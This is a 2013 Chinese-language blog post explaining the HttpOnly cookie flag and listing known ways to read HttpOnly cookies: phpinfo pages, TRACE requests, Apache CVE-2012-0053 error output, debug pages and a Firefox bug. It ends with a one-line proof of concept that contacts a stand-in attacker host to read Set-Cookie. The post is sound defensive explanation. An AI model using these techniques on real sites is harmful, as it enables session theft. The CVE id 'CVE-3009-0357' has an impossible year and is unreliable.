dieyushi's Blog

ATOM Rss

HttpOnly的那些事

March 24 2013 , web

HttpOnly简介

故名思议,HttpOnly是指仅在HTTP层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就无法读写该Cookie,这样能有效的防御XSS攻击。HttpOnly是由微软在2002年首先在Internet Explorer 6 SP1上实现。根据微软的描述HttpOnlyHTTP Set-Cookie头中的一个附加标志,下面的例子就是一个头信息中设置了HttpOnly Cookie

Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly

目前,基本上所有的浏览器和web框架都支持HttpOnly

phpinfo信息

phpinfo页面可以包含了cookie信息,其中同样存在HttpOnly Cookie,如下图。 phpinfo()信息

支持TRACE方法的服务器

Apache支持的一个HeaderTRACETRACE一般是用于调试,他会将请求头作为HTTP Response Body返回。利用这个特性,可以把HttpOnly Cookie读出来。不过目前各厂商已经禁止通过Ajax发送TRACE请求。

CVE-2012-0053

Apache 2.2.x多个版本没有严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时,服务器返回400错误,并在返回信息中将出错的请求头内容输出。利用这个特性,可以得到HttpOnly Cookie

Django等一些web框架的调试页面

开启了调试模式的一些框架,会将程序的信息输出,其中就有Cookie信息。

CVE-3009-0357

Firefox <= 1.9.1在处理HttpOnly Cookies时存在bug,通过getResponseHeader()得不到HttpOnly Cookie,但是通过getAllResponseHeaders()可以得到。

Java getHeaderField

POC:

    alert(new java.net.URL('http://attacker.in/xss/cookie.php').openConnection().getHeaderField('set-cookie'));

参考

  1. https://www.owasp.org/index.php/HttpOnly
  2. http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html
  3. https://bugzilla.redhat.com/show_bug.cgi?id=785069
  4. https://bugzilla.mozilla.org/show_bug.cgi?id=380418
comments powered by Disqus